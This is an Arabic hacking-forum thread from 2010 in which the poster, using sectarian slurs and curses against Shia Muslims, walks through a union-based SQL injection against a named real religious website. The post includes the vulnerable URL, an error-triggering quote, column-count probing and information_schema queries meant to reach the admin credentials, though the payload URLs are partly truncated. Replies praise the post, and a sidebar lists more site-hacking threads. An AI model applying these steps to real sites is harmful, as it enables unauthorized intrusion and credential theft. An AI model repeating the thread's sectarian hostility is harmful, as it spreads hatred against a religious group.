!! إستهداف موقع ارتباط الروافض الشيعه بالسستاني !!

DR.THMoORY · 08-27-2010, 11:58 PM

[align=center]السلام عليكم ورحمة الله وبركاته

إستهداف موقع ارتباط الروافض بالسستاني لعنهم الله
الموقع المستهدف
www.najaf.org

نوع الثغره
sql injection

لكي نتاكد انو الموقع يحتوي عل خطئ في قاعدة البيانات

نقوم بعمل خطأ في قاعدة البيانات

http://www.najaf.org/mail/us_index.php?l=1'

هع لدينا خطأ في القاعده

في الرقم الأول جيت اضفت

كود PHP:
http://www.najaf.org/mail/us_index.p...,2,3,4,5,6,7/*
بعد ان قمن باضافة الارقام اختفى الخطى وظهر الرقم 2

الآن نضيف هذا الاستثمار

كود PHP:
http://www.najaf.org/mail/us_index.p...chema.tables/*

اسماء الجداول في قاعدة بيانات الموقع

البحث في الجداول للحصول على يوزر و باس الادمن
وممكن نتوسع في الاستغلال والبركه في القراصنه

الان التنقل بين الاعمدة

كود PHP:
http://www.najaf.org/mail/us_index.p...chema.tables/*
العمود الموجود في التابل باسم
columns

جآري التلاعب والتنقل بهذا الاستثمار

كود PHP:
http://www.najaf.org/mail/us_index.p...hema.COLUMNs/*
الان الاستثمار والتنقل إلى العمود COLLATION

وهذا العمود مطلوب

كود PHP:
http://www.najaf.org/mail/us_index.p...a.COLLATIONs/*
[/align]
:a12:

المصدر: :: vBspiders Professional Network ::

!! Ysji]ht l,ru hvjfh' hgv,htq hgadui fhgssjhkd

Master vbspiders · 08-28-2010, 02:41 AM

[align=center]بارك الله فيك على الشرح
لا تحرمنا من جديدك
تحياتي[/align]

mauo · 08-28-2010, 03:15 AM

موفق
والى الامام دائما

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
هدية موقع باليوزر و باسوارد مفكوك و لوحة التحكم + موقع بإستغلال كامل!	TIKTAKram	Hackers Showoff	84	02-11-2011 02:43 AM
موقع يخرج لك كل بيانات أي موقع تريده الاي بي موقع اسم صحاب الموقع وايميله والكثير	the sn!per	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	140	02-02-2011 09:01 AM
إستهداف ~[Dr.NaNo]~	Dr.NaNo	Hackers Showoff	8	06-24-2010 03:26 PM
هاذا مانعتبره بالجهاد حقاً والإنسانيه و تقديم المسىعدة للمسلم ضد الياهود [ لا استطيع إستهداف الإسرائيلين ]	Alexander	جـــ'ابات العناكــ'ب	3	05-25-2010 08:13 PM

!! إستهداف موقع ارتباط الروافض الشيعه بالسستاني !!

SQL قواعد البيانات